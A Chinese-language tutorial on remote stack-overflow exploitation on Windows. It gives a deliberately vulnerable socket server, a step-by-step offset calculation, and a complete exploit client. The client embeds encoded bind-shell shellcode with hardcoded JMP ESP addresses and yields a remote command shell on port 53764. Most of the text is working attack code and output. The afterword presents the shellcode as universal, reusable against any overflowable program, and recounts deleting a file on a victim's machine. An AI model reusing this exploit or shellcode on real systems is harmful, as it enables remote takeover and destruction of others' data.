window系统下的远程堆栈溢出 --《实战篇》

下面是一个有问题的internet服务程序:

/****************************************************************************/

/* server.cpp By Ipxodi

*/


#include <winsock2.h>

#include <stdio.h>

char Buff[1024];

void overflow(char * s,int size)

{

char s1[50];

printf("receive %d bytes",size);

s[size]=0;

strcpy(s1,s);

}


int main()

{

WSADATA wsa;

SOCKET listenFD;

int ret;

char asd[2048];


WSAStartup(MAKEWORD(2,2),&wsa);


listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);


struct sockaddr_in server;


server.sin_family = AF_INET;

server.sin_port = htons(3764);

server.sin_addr.s_addr=ADDR_ANY;

ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

ret=listen(listenFD,2);


int iAddrSize = sizeof(server);

SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

unsigned long lBytesRead;

while(1) {

lBytesRead=recv(clientFD,Buff,1024,0);

if(lBytesRead<=0) break;


overflow(Buff,lBytesRead);


ret=send(clientFD,Buff,lBytesRead,0);

if(ret<=0) break;


}

WSACleanup();

return 0;

}

/****************************************************************************/


函数Overflow有问题,看到了吗?


好,现在我们来写溢出攻击程序:


1)先算一下溢出(返回)地址应该在哪里?

(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?

:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,

现在原代码就放在你眼前,你自己算一下不就出来了?)


下面是溢出时刻堆栈布局:

内存底部 内存顶部

buffer EBP ret

<------ [NNNNNNNNNNN][N ] [A ]SSSS

^&buffer

堆栈顶部 堆栈底部


可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是

52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。


2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?

启动wdasm32,加载server.exe


:004028EC 68F0014200 push 004201F0


* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h

|

:004028F1 FF15E8614200 Call dword ptr [004261E8]


好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。


:00402911 51 push ecx


* Reference To: KERNEL32.GetProcAddress, Ord:013Eh

|

:00402912 FF15E4614200 Call dword ptr [004261E4]


好,KERNEL32.GetProcAddress的入口地址:0x004261E4。


这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:

0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */

0xc1, 0xeb, 0x08, /* shr ebx, 08 */

以及

0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */


3)写出client:

/****************************************************************************/

/* client.cpp By Ipxodi

*/


#include <winsock2.h>

#include <stdio.h>

#define WIN2000


#ifdef WIN2000

#define JUMPESP "x2axe3xe2x77"

#endif

#ifdef WIN98

#define JUMPESP "xa3x95xf7xbf"

#endif


unsigned char eip[8] = JUMPESP;

unsigned char sploit[580] = {

0x90, 0x8b, 0xfc,

0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,

0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,

0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,

0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,

0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,

0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,

0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,

0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,

0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,

0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,

0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,

0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,

0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,

0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,

0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,

0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,

0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,

0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,

0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,

0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,

0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,

0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,

0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,

0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,

0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,

0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,

0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,

0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,

0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,

0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,

0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,

0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,

0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,

0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,

0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,

0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,

0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,

0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,

0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,

0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,

0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,

0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,

0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,

0x4b, 0x9d, //port=53764

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,

0x0d, 0x0a};

int main()

{

WSADATA wsa;

SOCKET sockFD;

char Buff[1024],*sBO;


WSAStartup(MAKEWORD(2,2),&wsa);


sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);


struct sockaddr_in server;


server.sin_family = AF_INET;

server.sin_port = htons(3764);

server.sin_addr.s_addr=inet_addr("127.0.0.1");


connect(sockFD,(struct sockaddr *)&server,sizeof(server));

for(int i=0;i<56;Buff[i++]=0x90);

strcpy(Buff+56,(char *)eip);

strcpy(Buff+60,(char *)sploit);

sBO = Buff;

send(sockFD,sBO,56+4+560,0);


closesocket(sockFD);

WSACleanup();

return 1;


}

/****************************************************************************/

运行server,然后运行client.之后,telnet localhost 53764,看到了什么?


Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-1998 Microsoft Corp.


D:MyProjectsserver>dir

dir

驱动器 D 中的卷没有标签。

卷的序列号是 3C2F-72BB


D:MyProjectsserver 的目录


2000-04-26 17:52


.

2000-04-26 17:52

..

2000-04-25 11:17

Debug

2000-04-23 20:23 3,288 server.001

2000-04-25 11:16 926 server.cpp

2000-04-25 10:33 3,325 server.dsp

2000-04-25 10:33 535 server.dsw

2000-04-26 17:52 41,984 server.ncb

2000-04-26 17:52 49,664 server.opt

2000-04-25 11:24 509 server.plg

7 个文件 100,231 字节

3 个目录 8,688,173,056 可用字节


D:MyProjectsserver>


呵呵,大功告成。


----后记

大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。

使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。

实现对任何已知存在缓冲区溢出问题的程序的远程控制。


事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的

有问题代码。这本身就可以单开一讲来详细阐述。

windows下的Cracker们,你们的破解跟踪技术将在这个领域

得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列

windows缓冲区溢出漏洞。


上面所示的,只不过是一个实验用的server程序,事实上,

我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。


当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,

真是一切尽在掌握。我心中想的,就是:

windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!


因为上述程序的攻击性太强,我就不公布原代码了,我希望

如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,

等待patch出来后,再公布你们的溢出程序。


因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。


----参考书目:

0)ipxodi 《window系统下的堆栈溢出》NsfocusMagzine 20003。

1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。

2)Backend的《Windows 2000缓冲区溢出入门》 NsfocusMagzine 20004。

3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译)


----致谢

要致谢的人很多:

dark spyrit,为你的天才和无私,向你致敬。

感谢绿盟的Backend,Yuange,Zer9,为你们的研究成果和给我的无私帮助,

当然还有绿盟的tt,deepin,为你们在攻击实践上给我的帮助。

感谢所有帮助和激励过我的人。
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